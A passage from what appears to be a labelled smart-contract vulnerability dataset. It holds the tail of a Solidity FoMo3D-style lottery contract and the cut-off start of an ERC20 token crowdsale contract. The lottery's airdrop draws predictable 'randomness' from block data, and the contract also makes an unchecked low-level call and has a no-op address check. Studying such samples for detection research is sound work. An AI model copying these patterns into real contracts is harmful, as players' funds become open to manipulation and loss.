_affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isRoundActivated() isHuman() isWithinLimits(msg.value) public payable { PCKdatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isRoundActivated() isHuman() isWithinLimits(_eth) public { PCKdatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isRoundActivated() isHuman() isWithinLimits(_eth) public { PCKdatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isRoundActivated() isHuman() isWithinLimits(_eth) public { PCKdatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { PCKdatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit PCKevents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.PCPAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit PCKevents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit PCKevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit PCKevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit PCKevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, PCKdatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if ( _now > round_[_rID].end && round_[_rID].ended == false ) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); if( !closed_ ){ nextRound(); } _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit PCKevents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.PCPAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, PCKdatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > ( round_[_rID].strt + rndGap_ ) && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if ( _now > round_[_rID].end && round_[_rID].ended == false ) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); if( !closed_ ) { nextRound(); } _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit PCKevents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.PCPAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, PCKdatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID, _eth); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(PCKdatasets.EventReturns memory _eventData_) private returns (PCKdatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != """") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, PCKdatasets.EventReturns memory _eventData_) private returns (PCKdatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function nextRound() private { rID_++; round_[rID_].strt = now; round_[rID_].end = now.add(rndInit_).add(rndGap_); } function endRound(PCKdatasets.EventReturns memory _eventData_) private returns (PCKdatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); admin.transfer(_com.add(_p3d.sub(_p3d / 2))); round_[_rID].mask = _ppt.add(round_[_rID].mask); _res = _res.add(_p3d / 2); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.PCPAmount = _p3d; _eventData_.newPot = _res; _rID++; round_[_rID].ended = false; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID, uint256 _eth) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); uint256 _newEndTime; if (_newTime < (rndMax_).add(_now)) _newEndTime = _newTime; else _newEndTime = rndMax_.add(_now); if ( _eth >= rndReduceThreshold_ ) { uint256 reduce = ((((_keys) / (1000000000000000000))).mul(rndInc_ * reduceMul_) / reduceDiv_); if( _newEndTime > reduce && _now + rndMin_ + reduce < _newEndTime){ _newEndTime = (_newEndTime).sub(reduce); } else if ( _newEndTime > reduce ){ _newEndTime = _now + rndMin_; } } round_[_rID].end = _newEndTime; } function getReduce(uint256 _rID, uint256 _eth) public view returns(uint256,uint256){ uint256 _keys = calcKeysReceived(_rID, _eth); if ( _eth >= rndReduceThreshold_ ) { return ( ((((_keys) / (1000000000000000000))).mul(rndInc_ * reduceMul_) / reduceDiv_), (((_keys) / (1000000000000000000)).mul(rndInc_)) ); } else { return (0, (((_keys) / (1000000000000000000)).mul(rndInc_)) ); } } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, PCKdatasets.EventReturns memory _eventData_) private returns(PCKdatasets.EventReturns) { uint256 _com = _eth / 50; uint256 _p3d; if (!address(admin).call.value(_com)()) { _p3d = _com; _com = 0; } uint256 _long = _eth / 100; potSwap(_long); uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit PCKevents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _aff; } _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { admin.transfer(_p3d.sub(_p3d / 2)); round_[_rID].pot = round_[_rID].pot.add(_p3d / 2); _eventData_.PCPAmount = _p3d.add(_eventData_.PCPAmount); } return(_eventData_); } function potSwap(uint256 _pot) private { uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(_pot); emit PCKevents.onPotSwapDeposit(_rID, _pot); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, PCKdatasets.EventReturns memory _eventData_) private returns(PCKdatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, PCKdatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit PCKevents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.PCPAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require( msg.sender == admin, ""only team just can activate"" ); require(activated_ == false, ""PCK already activated""); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } library PCKdatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 PCPAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library PCKKeysCalcLong { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface PCKExtSettingInterface { function getFastGap() external view returns(uint256); function getLongGap() external view returns(uint256); function getFastExtra() external view returns(uint256); function getLongExtra() external view returns(uint256); } interface PlayCoinGodInterface { function deposit() external payable; } interface ProForwarderInterface { function deposit() external payable returns(bool); function status() external view returns(address, address, bool); function startMigration(address _newCorpBank) external returns(bool); function cancelMigration() external returns(bool); function finishMigration() external returns(bool); function setup(address _firstCorpBank) external; } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }",./Dataset/block number dependency (BN),0,0 0x03b6609aaceccec42ef526a35b1bd5d728874ea4_PDATAToken.sol,"pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract PDATAToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; uint public startDate; uint public bonusEnds; uint public endDate; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function PDATAToken() public { symbol = ""PDATA""; name = ""PDATA Token""; decimals = 18; bonusEnds = now + 1 weeks; endDate = now + 7 weeks; } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function 